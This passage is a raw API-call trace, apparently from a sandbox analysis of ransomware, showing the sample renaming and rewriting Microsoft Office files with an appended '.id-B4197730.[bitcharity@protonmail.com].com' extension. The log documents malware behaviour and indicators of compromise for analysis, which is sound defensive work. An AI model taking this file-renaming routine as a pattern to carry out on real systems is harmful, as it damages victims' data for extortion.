Add-in\\ru\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ru\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ru\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sk\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sk\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.913] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sl\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sl\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-cyrl\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-cyrl\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.933] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\uk\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\uk\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\vi\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\vi\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\zh-chs\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\zh-chs\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.282] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\zh-cht\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\zh-cht\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0268.050] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.050] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\DOCS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\docs.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.050] CloseHandle (hObject=0x1078) returned 1 [0268.051] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.052] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\EXITEM.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\exitem.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.052] CloseHandle (hObject=0x1078) returned 1 [0268.053] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.053] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\EXITEML.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\exiteml.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.054] CloseHandle (hObject=0x1078) returned 1 [0268.055] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.055] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\EXITEMS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\exitems.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.055] CloseHandle (hObject=0x1078) returned 1 [0268.068] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.068] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\INFOMAIL.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\infomail.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.068] CloseHandle (hObject=0x1078) returned 1 [0268.070] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.070] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\INFOML.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\infoml.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.070] CloseHandle (hObject=0x1078) returned 1 [0268.071] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.071] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\INFOMS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\infoms.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.072] CloseHandle (hObject=0x1078) returned 1 [0268.073] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.073] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\IPM.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\ipm.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.073] CloseHandle (hObject=0x1078) returned 1 [0268.074] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.074] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\IPML.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\ipml.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.074] CloseHandle (hObject=0x1078) returned 1 [0268.076] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.076] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\IPMS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\ipms.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.077] CloseHandle (hObject=0x1078) returned 1 [0268.078] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.078] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\MMSL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\mmsl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.078] CloseHandle (hObject=0x1078) returned 1 [0268.080] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.080] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\MMSS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\mmss.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.081] CloseHandle (hObject=0x1078) returned 1 [0268.083] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.083] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\NOTE.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\note.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.083] CloseHandle (hObject=0x1078) returned 1 [0268.084] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.084] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\NOTEL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\notel.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.085] CloseHandle (hObject=0x1078) returned 1 [0268.086] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.086] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\NOTES.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\notes.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.086] CloseHandle (hObject=0x1078) returned 1 [0268.088] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.088] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\OMSMMS.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\omsmms.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.088] CloseHandle (hObject=0x1078) returned 1 [0268.089] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.089] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\OMSSMS.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\omssms.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.089] CloseHandle (hObject=0x1078) returned 1 [0268.090] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.090] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\OOFL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\oofl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.090] CloseHandle (hObject=0x1078) returned 1 [0268.092] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.092] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\OOFS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\oofs.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.092] CloseHandle (hObject=0x1078) returned 1 [0268.912] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.912] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0268.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\OOFTMPL.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\ooftmpl.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.240] CloseHandle (hObject=0x1074) returned 1 [0269.326] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.326] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SMIMES.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\smimes.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.326] CloseHandle (hObject=0x1078) returned 1 [0269.327] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.327] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SMSL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\smsl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.327] CloseHandle (hObject=0x1078) returned 1 [0269.329] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.329] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SMSS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\smss.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.329] CloseHandle (hObject=0x1078) returned 1 [0269.331] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.331] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASK.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\task.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.331] CloseHandle (hObject=0x1078) returned 1 [0269.333] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.333] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0269.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKACC.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 